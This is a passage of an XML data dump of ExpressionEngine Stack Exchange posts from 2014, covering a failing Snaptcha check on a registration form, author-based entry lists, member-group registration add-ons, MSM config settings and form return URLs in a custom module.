  <row Id="18441" PostTypeId="2" ParentId="18429" CreationDate="2014-01-16T03:29:27.407" Score="1" Body="&lt;p&gt;Unfortunately Facebook has a lot of control over the display of the Facebook-related UI in FBC, so your options are limited. You can change the label or size of the login button (the list of parameters can be found here: &lt;a href=&quot;http://www.solspace.com/docs/facebook_connect/login/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/facebook_connect/login/&lt;/a&gt;), but that's about what is possible with FBC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to further customize the FBC buttons, try using CSS rules to override the default style provided by Facebook. If you need to add something such as a custom class or id, javascript (which would add said class/id when it's run) would be the way to go. Another way is to wrap the button with an element (eg. a div with a specific class), and modify your CSS rules to do what you need.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-16T03:29:27.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18442" PostTypeId="1" AcceptedAnswerId="18519" CreationDate="2014-01-16T04:18:27.673" Score="1" ViewCount="315" Body="&lt;p&gt;I’m using EE 2.7.2 and Snaptcha 1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve applied Snaptcha to my Solspace User registration form, however it is causing all form submissions to fail the security test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only thought is that maybe Snaptcha somehow doesn’t work if the form is loaded into a modal box via ajax? I have all my login and registration forms in modal boxes via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Edit - see comment below. I've tested without ajax or modal box and it still fails every time *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why is would continuously fail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s a sample of my generated source code after the registration form is pulled in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;article style=&quot;display: block; opacity: 1; visibility: visible; top: 70px;&quot; class=&quot;reveal-modal ajax-container open&quot; id=&quot;sign-up-2&quot;&amp;gt;&amp;lt;h3&amp;gt;Create an Account&amp;lt;/h3&amp;gt;&amp;lt;form class=&quot;edit invert validate-edit require-terms&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;ACT&quot; value=&quot;86&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;RET&quot; value=&quot;http://dev.weddingwise.co.nz/account/new&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;params_id&quot; value=&quot;JgBTwOKNvKPcwHZPUEnbWhKlP&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;site_id&quot; value=&quot;1&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;   &amp;lt;ul class=&quot;form-row&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;     &amp;lt;label&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input name=&quot;username&quot; class=&quot;required email&quot; title=&quot;Valid email required&quot; type=&quot;text&quot;&amp;gt;&#xA;     &amp;lt;p class=&quot;expl&quot;&amp;gt;This will be your login username&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;     &amp;lt;label&amp;gt;Your Name&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input name=&quot;screen_name&quot; class=&quot;required&quot; title=&quot;Required&quot; type=&quot;text&quot;&amp;gt;&#xA;     &amp;lt;p class=&quot;expl&quot;&amp;gt;Displayed on your public profile&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;     &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input name=&quot;password&quot; class=&quot;required&quot; title=&quot;Required&quot; type=&quot;password&quot;&amp;gt;&#xA;     &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;     &amp;lt;label&amp;gt;Repeat Password&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input name=&quot;password_confirm&quot; class=&quot;required&quot; title=&quot;Required&quot; type=&quot;password&quot;&amp;gt;&#xA;     &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;footer&amp;gt;&#xA;   &amp;lt;p class=&quot;terms&quot;&amp;gt;By submitting this form I agree to the &amp;lt;a href=&quot;/terms&quot; target=&quot;_blank&quot;&amp;gt;Terms &amp;amp;amp; Privacy&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;a class=&quot;btn submit&quot; href=&quot;#&quot;&amp;gt;Sign Up&amp;lt;/a&amp;gt;&#xA;   &amp;lt;a class=&quot;btn secondary close-reveal-modal&quot; href=&quot;#&quot;&amp;gt;Cancel&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/footer&amp;gt;&#xA;  &amp;lt;div class=&quot;snap&quot; style=&quot;position: absolute !important; top: -10000px !important;&quot;&amp;gt;&amp;lt;input id=&quot;snap_AEHBdrbOW&quot; name=&quot;snap_AEHBdrbOW&quot; value=&quot;GDYgTIvztsTqb&quot; type=&quot;text&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;/form&amp;gt;&amp;lt;/article&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's source of registration page when displayed inline on its own page with no ajax or modal box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt; &amp;lt;html class=&quot;ie&quot; lang=&quot;en&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if gte IE 9]&amp;gt;&amp;lt;!--&amp;gt; &amp;lt;html lang=&quot;en&quot;&amp;gt; &amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Sign Up: step 2&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;&quot;&amp;gt;&#xA;    &amp;lt;!-- meta --&amp;gt;&#xA;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;cleartype&quot; content=&quot;on&quot;&amp;gt;&#xA;&amp;lt;!-- css --&amp;gt;&#xA;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/css/style.css&quot;&amp;gt;&#xA;&amp;lt;!-- js --&amp;gt;&#xA;&amp;lt;script src=&quot;/js/modernizr-2.6.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/detectizr.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- iOS --&amp;gt;&#xA;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;apple-touch-icon-precomposed&quot; href=&quot;/app-icon.png&quot;/&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;    &amp;lt;article class=&quot;modal&quot; id=&quot;sign-up-2&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Create an Account&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;form class=&quot;edit invert validate-edit require-terms&quot;&amp;gt;&#xA;    &amp;lt;form name=&quot;register&quot; class=&quot;edit invert validate-edit&quot; id=&quot;member_form&quot; method=&quot;post&quot; action=&quot;http://dev.weddingwise.co.nz/&quot;  &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;86&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://dev.weddingwise.co.nz/account/new&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;params_id&quot; value=&quot;hDwJbIxhVaWjeacFTvDriXRXE&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;ul class=&quot;form-row&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; class=&quot;required email&quot; title=&quot;Valid email required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;This will be your login username&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Your Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;Displayed on your public profile&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Repeat Password&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;footer&amp;gt;&#xA;            &amp;lt;p class=&quot;terms&quot;&amp;gt;By submitting this form I agree to the &amp;lt;a href=&quot;/terms&quot; target=&quot;_blank&quot;&amp;gt;Terms &amp;amp;amp; Privacy&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;a class=&quot;btn submit&quot; href=&quot;#&quot;&amp;gt;Sign Up&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;btn secondary close-reveal-modal&quot; href=&quot;#&quot;&amp;gt;Cancel&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;div class=&quot;snap&quot; style=&quot;position: absolute !important; top: -10000px !important;&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;snap_eSHSeRWPh&quot; name=&quot;snap_eSHSeRWPh&quot; value=&quot;UkdZCBwrGTtQq&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;document.getElementById(&quot;snap_eSHSeRWPh&quot;).value = &quot;iRewkBhZSaFgs&quot;;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;!-- js --&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery-1.10.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.easing.1.3.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.autosize.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.maxlength.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.equalheightcolumns.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.scrollTo-1.4.3.1-min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.localscroll-1.2.7-min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.serialScroll-1.2.2-min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/ui/jquery.ui.core.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/ui/jquery.ui.widget.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/ui/jquery.ui.mouse.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/ui/jquery.ui.sortable.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/ui/jquery.ui.datepicker.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.selectBoxIt.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.icheck.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.isotope.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.stickem.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.validate.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/spin.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.spin.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/foundation.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/foundation.reveal.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.fitvids.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery.infinitescroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/imagesloaded.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/init.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script src=&quot;/js/lookbook.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's actual template code for registration page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;{embed-ie}&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Sign Up: step 2&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;&quot;&amp;gt;&#xA;    {embed-head}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;    &amp;lt;article class=&quot;modal&quot; id=&quot;sign-up-2&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Create an Account&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;form class=&quot;edit invert validate-edit require-terms&quot;&amp;gt;&#xA;    {exp:user:register &#xA;            form:class=&quot;edit invert validate-edit&quot; &#xA;            form:name=&quot;register&quot; &#xA;            return=&quot;/profile/new&quot;&#xA;            admin_register=&quot;yes&quot;  &#xA;            group_id=&quot;{segment_3}&quot;&#xA;            allowed_groups=&quot;5|8&quot; &#xA;            required=&quot;screen_name&quot;    &#xA;        }&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;ul class=&quot;form-row&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; class=&quot;required email&quot; title=&quot;Valid email required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;This will be your login username&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Your Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;Displayed on your public profile&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Repeat Password&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; class=&quot;required&quot; title=&quot;Required&quot; /&amp;gt;&#xA;                    &amp;lt;p class=&quot;expl&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;footer&amp;gt;&#xA;            &amp;lt;p class=&quot;terms&quot;&amp;gt;By submitting this form I agree to the &amp;lt;a href=&quot;/terms&quot; target=&quot;_blank&quot;&amp;gt;Terms &amp;amp;amp; Privacy&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;a class=&quot;btn submit&quot; href=&quot;#&quot;&amp;gt;Sign Up&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;btn secondary close-reveal-modal&quot; href=&quot;#&quot;&amp;gt;Cancel&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;        {exp:snaptcha:field}&#xA;    {/exp:user:register}&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;    {embed-foot}    &#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-01-16T22:38:04.677" LastActivityDate="2014-01-20T09:13:24.597" Title="User registration failing Snaptcha security test every time" Tags="|solspace|solspace-user|captcha|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18443" PostTypeId="1" AcceptedAnswerId="18445" CreationDate="2014-01-16T09:50:05.210" Score="1" ViewCount="185" Body="&lt;p&gt;I have a simple news site and on a single entry page where a news item is located I would like to list 3 or 4 other entries by the same author in the sidebar sorted by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one channel entries tag for the article text and another with the same channel but with an author_id parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two problems I'm having, one is getting the author id from the url (I do not want to add another url segment just for this) and the second is making sure that it doesn't list the same entry that's currently being displayed on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would post my current code but it's all very standard stuff&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-06-25T18:35:16.500" Title="How do I list entries by the same author on the single entry page?" Tags="|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18444" PostTypeId="1" CreationDate="2014-01-16T11:12:42.693" Score="3" ViewCount="100" Body="&lt;p&gt;I want to create 3 different register forms for 3 member groups. Is this possible within expression engine. I have seen the freemember is theis the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-01-16T15:09:14.970" Title="registration forms for mebers groups" Tags="|members|freemember|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18445" PostTypeId="2" ParentId="18443" CreationDate="2014-01-16T11:15:18.943" Score="2" Body="&lt;p&gt;Assuming you're not using stash, you can simply use an embed &lt;em&gt;within your main channel entries tag&lt;/em&gt; and pass the embed the author_id of the current author and the entry_id of the article being displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;sidebar/authorlist&quot; author_id=&quot;{author_id}&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;...&quot; dynamic=&quot;no&quot; author_id=&quot;{embed:author_id}&quot; entry_id=&quot;NOT {embed:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it's a single entry page (limit=&quot;1&quot;) your embed will only be included once - but it means that your sidebar area in your template needs to be within the {exp:channel:entries} loop&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="343" LastEditDate="2014-06-25T18:35:16.500" LastActivityDate="2014-06-25T18:35:16.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18446" PostTypeId="1" AcceptedAnswerId="18459" CreationDate="2014-01-16T11:34:52.137" Score="1" ViewCount="86" Body="&lt;p&gt;Does anyone know if it is possible to use Low Search to search within one page, rather than pulling all information from a channel. I'm developing a take away directory and users need to be able to search for menu items on each individual businesses page rather than through an entire channel.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="28" LastEditDate="2014-01-16T17:38:21.797" LastActivityDate="2014-01-16T17:40:12.023" Title="Does anyone know if it is possible to use Low Search to search within one page" Tags="|ee2|low-search|low|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18448" PostTypeId="2" ParentId="18435" CreationDate="2014-01-16T14:23:46.007" Score="0" Body="&lt;p&gt;Just out of interest, what problems exactly does this cause? I'm currently in the process of setting up an MSM build (actually upgrading it from an old EE1 installation) and your question made me notice that I have this happening too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using a config bootstrap (FocusLab Master Config)? If so you can 'fix' it by adding this to your config.master.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// --------------------------------------------&#xA;// RESET MSM SETTINGS IN A SHARED CONTROL PANEL&#xA;// --------------------------------------------&#xA;&#xA;// are we in the control panel?&#xA;if (isset($_GET['D']) &amp;amp;&amp;amp; $_GET['D'] == 'cp')&#xA;{&#xA;    switch ($_REQUEST['exp_cp_last_site_id']) {&#xA;        case '1' : $env_config['site_url'] = &quot;http://site1.com/&quot;; break;&#xA;        case '3' : $env_config['site_url'] = &quot;http://site3.com/&quot;; break;&#xA;        case '5' : $env_config['site_url'] = &quot;http://site5.com/&quot;; break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're not using a bootstrap, this should work in your main config.php file too, but change the &lt;code&gt;$env_config&lt;/code&gt; to just &lt;code&gt;$config&lt;/code&gt; instead. In each case you'll need to hardcode the site id and the site url.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-16T14:23:46.007" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18449" PostTypeId="2" ParentId="18444" CreationDate="2014-01-16T14:26:47.853" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; was highly recommended by other developers on Twitter, and I've been quite pleased with it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports member group selection in registration forms (and you can create as many as you'd like). &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/registration.html#choosing-membergroup-during-registration&quot; rel=&quot;nofollow&quot;&gt;Here's the relevant portion of the docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-16T14:26:47.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18451" PostTypeId="1" AcceptedAnswerId="18454" CreationDate="2014-01-16T15:01:37.587" Score="1" ViewCount="231" Body="&lt;p&gt;I am building a custom module. In my module I have a form function which basically creates the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this form is submitted, I want the form to return to a specific URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added a 'RET' hidden field to the form with the correct URL, but I am unsure how to have the form actual use this.  Can anyone show me what I need to add to my existing code to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function form() &#xA;{&#xA;    $entry_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id');&#xA;    if( $entry_id === FALSE ) {&#xA;        return &quot;&quot;;&#xA;    }&#xA;&#xA;    $return = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('return');&#xA;&#xA;    $hidden_fields = array(&#xA;        &quot;entry_id&quot; =&amp;gt; $entry_id,&#xA;        &quot;ACT&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id( 'Cdwd_waiting_list', 'submit_record' ),     &#xA;        &quot;RET&quot; =&amp;gt; $return   &#xA;    );&#xA;&#xA;    $form_data = array(&#xA;        &quot;id&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;        &quot;hidden_fields&quot; =&amp;gt; $hidden_fields&#xA;    );&#xA;&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) . &#xA;        $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;           &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-01-16T15:55:21.003" Title="Return paramater after form submission (in custom module)" Tags="|module|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18452" PostTypeId="2" ParentId="18444" CreationDate="2014-01-16T15:09:14.970" Score="2" Body="&lt;p&gt;There are several add-ons that would accomplish what you're looking to do. Nick already Mentioned &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor.&lt;/a&gt; Here is a list of other add-ons that will also work well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.solspace.com/docs/user&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://objectivehtml.com/safecracker-registration/documentation&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Zoo Visitor, Profile:Edit, and Safecracker Registration have the added feature of storing members as Channel entries. So if you need maximum flexibility with your member fields then that feature would be an advantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detailed comparison of a few of these take a look at Focus Lab's blog post, &lt;a href=&quot;http://focuslabllc.com/journal/member-profile-add-ons-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Member Profile Add-ons in ExpressionEngine.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because all of these accomplish the goal you outlined in your question, what's &quot;best&quot; will depend on your preferences and on any other goals you might have related to member data on your site.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-16T15:09:14.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
